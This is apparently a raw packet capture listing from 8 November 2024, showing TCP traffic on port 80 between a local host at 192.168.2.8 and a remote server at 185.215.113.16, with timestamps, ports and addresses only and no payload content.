Nov 8, 2024 15:21:32.643497944 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643532038 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.643539906 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643556118 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643562078 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643589973 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.643692017 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643702984 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643714905 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643724918 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.643752098 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.643774033 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643806934 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.643893003 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643902063 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643913031 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643923998 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643935919 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643939018 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.643948078 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.643965006 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.643989086 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644088030 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644114017 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644124031 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644150972 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644222975 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644237041 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644248962 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644256115 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644262075 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644284010 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644306898 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644437075 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644448042 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644459963 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644469976 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644480944 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644506931 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644601107 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644610882 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644620895 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644633055 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644638062 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644649029 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644659996 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644663095 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644678116 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644701958 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644836903 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644869089 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644892931 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644902945 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644922972 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644939899 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.644959927 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644970894 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.644982100 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645003080 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.645025015 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.645374060 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645416021 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645426035 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645464897 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.645493984 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645503998 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645514965 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645526886 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645528078 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.645544052 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.645570040 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.645688057 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645699978 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645736933 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.645811081 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645823002 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645839930 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645849943 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.645867109 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.645884037 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646038055 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646049023 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646089077 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646100044 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646102905 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646112919 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646121979 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646133900 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646145105 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646151066 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646171093 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646188021 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646255016 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646265984 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646276951 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646290064 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646296978 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646301985 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646312952 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646325111 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646327019 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646334887 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646343946 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646347046 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646357059 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646359921 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646389961 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646676064 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646687984 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646698952 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646711111 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646723032 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646723986 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646737099 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646744013 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646749973 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646759987 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646760941 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646792889 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646908045 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646944046 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.646986008 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.646997929 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647054911 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647113085 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647123098 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647135019 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647145987 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647147894 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647156954 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647166967 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647206068 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647301912 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647322893 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647334099 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647336960 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647346020 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647367001 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647397995 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647442102 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647453070 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647469997 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647480965 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647495985 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647521019 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647778988 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647821903 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647857904 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647869110 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647883892 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647890091 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647896051 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647907019 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.647907972 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647926092 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.647963047 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648101091 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648133993 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648158073 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648169041 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648194075 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648219109 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648263931 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648276091 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648287058 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648297071 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648308992 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648309946 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648329973 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648346901 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648364067 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648386955 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648418903 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648443937 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648474932 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648521900 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648533106 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648549080 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648554087 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648561001 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648571968 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648571968 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648581982 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.648591995 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.648617983 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.673357964 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.673445940 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.673470974 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.673481941 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.673506975 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.673527956 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.673537970 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.673547983 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.673548937 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.673559904 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.673572063 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.673681021 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.674118996 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.674169064 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.674170017 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.674180031 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.674201012 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.674216032 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.674263000 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.674273968 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.674285889 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.674293995 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.674297094 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.674310923 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.674326897 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.674391031 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.674426079 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.715138912 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.715193987 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.715204000 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.715218067 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.715229988 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.715276957 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.715322018 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.716851950 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.716872931 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.716883898 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.716900110 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.716931105 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.722996950 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.723020077 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.723031044 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.723068953 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.723090887 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.760925055 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.760941029 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.760946989 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.760952950 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.760960102 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761027098 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761110067 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761121988 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761215925 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761228085 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761239052 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761342049 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761351109 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.761354923 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761365891 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761379004 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761404991 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.761419058 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761420012 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.761435032 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761468887 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.761543989 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761554956 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761589050 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.761672020 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761683941 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761696100 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761708975 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761710882 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.761720896 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761734009 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761740923 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.761773109 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.761775970 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.761812925 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762305975 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762317896 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762327909 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762339115 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762351036 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762358904 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762362957 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762377024 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762392044 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762394905 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762404919 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762408018 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762434959 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762459993 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762485981 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762497902 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762507915 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762538910 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762556076 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762633085 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762641907 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762660027 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762671947 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762682915 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762685061 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762696028 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762696028 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762707949 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762720108 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762722015 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762751102 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762759924 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762887955 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762928009 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.762959957 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762972116 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.762981892 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763000965 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.763027906 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.763037920 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763048887 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763058901 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763077021 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.763108015 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.763192892 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763205051 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763216019 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763227940 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763240099 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.763268948 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.763436079 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763447046 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763461113 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763473034 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763479948 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.763484955 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.763499975 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.763525963 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.764128923 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764139891 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764151096 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764164925 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764174938 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.764178038 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764189959 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764192104 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.764206886 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764224052 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764225960 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.764235020 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764247894 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764259100 CET	80	49840	185.215.113.16	192.168.2.8
Nov 8, 2024 15:21:32.764259100 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.764272928 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.764302015 CET	49840	80	192.168.2.8	185.215.113.16
Nov 8, 2024 15:21:32.764348030 CET	80	49840	185.215.113.16	192.168.2.8
